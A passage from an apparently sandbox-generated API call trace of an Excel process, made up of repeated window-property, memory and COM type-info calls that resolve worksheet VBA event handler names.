(hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0246.549] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0246.549] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0246.549] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0246.549] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0246.549] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0246.549] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0246.549] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0246.550] IsWindowEnabled (hWnd=0x202b0) returned 1 [0246.550] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0246.550] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0246.550] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0246.550] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0246.550] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0246.550] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0246.550] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0246.550] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0246.550] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0246.551] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0246.551] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0246.551] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0246.551] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0246.551] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0246.551] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0246.551] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d0b620 [0246.551] IMalloc:Free (This=0x7feffc15380, pv=0x4d0b620) [0246.957] GetAsyncKeyState (vKey=27) returned 0 [0246.957] GetCurrentThreadId () returned 0x8fc [0246.957] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0246.957] GetDesktopWindow () returned 0x10010 [0246.957] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0246.957] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0246.957] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0246.957] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0246.957] GetWindowLongPtrA (hWnd=0x1f0118, nIndex=-6) returned 0x7feef2c0000 [0246.957] GetWindowLongPtrA (hWnd=0x1f0118, nIndex=-6) returned 0x7feef2c0000 [0246.957] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0246.957] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0246.958] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0246.958] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0246.958] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0246.958] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0246.958] IsWindowEnabled (hWnd=0x202b0) returned 0 [0246.958] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0246.959] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0246.959] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0246.959] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0246.959] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0246.959] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0246.959] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0246.959] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0246.959] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0246.959] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0246.959] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0246.959] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0246.959] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0246.959] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0246.960] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d08e00 [0246.960] IMalloc:Free (This=0x7feffc15380, pv=0x4d08e00) [0250.233] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8600000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8600000345) returned 0x0 [0250.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0250.233] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0250.233] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0250.233] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0250.235] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0250.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0250.235] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0250.235] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0250.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0250.435] GetCurrentThreadId () returned 0x8fc [0250.436] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0250.436] GetDesktopWindow () returned 0x10010 [0250.436] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0250.436] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0250.436] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0250.436] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0250.436] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0250.436] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0250.436] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0250.436] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0250.436] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0250.436] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0250.437] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0250.437] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0250.437] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0250.438] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0250.438] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0250.438] IsWindowEnabled (hWnd=0x202b0) returned 1 [0250.438] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0250.438] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0250.438] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0250.438] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0250.438] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0250.438] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0250.438] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0250.438] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0250.438] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0250.439] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0250.439] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0250.439] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0250.439] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0250.439] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0250.439] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0250.439] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0250.439] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0250.439] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0250.439] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0250.439] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0250.439] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0250.439] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d09f00 [0250.440] IMalloc:Free (This=0x7feffc15380, pv=0x4d09f00) [0250.915] GetAsyncKeyState (vKey=27) returned 0 [0250.915] GetCurrentThreadId () returned 0x8fc [0250.915] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0250.916] GetDesktopWindow () returned 0x10010 [0250.916] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0250.916] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0250.916] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0250.916] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0250.916] GetWindowLongPtrA (hWnd=0x1a0168, nIndex=-6) returned 0x7feef2c0000 [0250.916] GetWindowLongPtrA (hWnd=0x1a0168, nIndex=-6) returned 0x7feef2c0000 [0250.916] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0250.916] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0250.916] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0250.916] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0250.916] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0250.916] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0250.917] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0250.917] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0250.917] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0250.918] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0250.918] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0250.918] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0250.918] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0250.918] IsWindowEnabled (hWnd=0x202b0) returned 0 [0250.918] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0250.918] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0250.918] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0250.918] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0250.918] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0250.918] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0250.918] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0250.918] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0250.918] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0250.918] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0250.918] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0250.919] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0250.919] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0250.919] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0250.919] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0250.919] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0250.919] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0250.919] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0250.919] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0250.919] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0250.919] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0250.919] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d08e00 [0250.920] IMalloc:Free (This=0x7feffc15380, pv=0x4d08e00) [0254.016] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa0000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa0000000c0) returned 0x0 [0254.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0254.016] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0254.016] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0254.017] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0254.018] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0254.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0254.019] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0254.019] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0254.019] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0254.043] GetCurrentThreadId () returned 0x8fc [0254.043] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0254.043] GetDesktopWindow () returned 0x10010 [0254.043] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0254.043] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0254.043] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0254.043] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0254.043] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0254.043] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0254.043] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0254.043] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0254.044] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0254.044] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0254.044] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0254.044] IsWindowEnabled (hWnd=0x202b0) returned 1 [0254.044] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0254.044] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0254.044] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0254.045] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0254.045] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0254.045] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0254.045] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0254.045] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0254.045] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0254.045] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0254.045] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0254.045] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0254.045] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0254.045] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0254.046] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x4d0a4a0 [0254.046] IMalloc:Free (This=0x7feffc15380, pv=0x4d0a4a0) [0254.435] GetAsyncKeyState (vKey=27) returned 0 [0254.435] GetCurrentThreadId () returned 0x8fc [0254.435] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0254.435] GetDesktopWindow () returned 0x10010 [0254.435] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0254.435] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0254.435] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0254.435] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0254.435] GetWindowLongPtrA (hWnd=0x1c0168, nIndex=-6) returned 0x7feef2c0000 [0254.435] GetWindowLongPtrA (hWnd=0x1c0168, nIndex=-6) returned 0x7feef2c0000 [0254.435] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0254.435] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0254.436] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0254.436] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0254.436] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0254.436] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 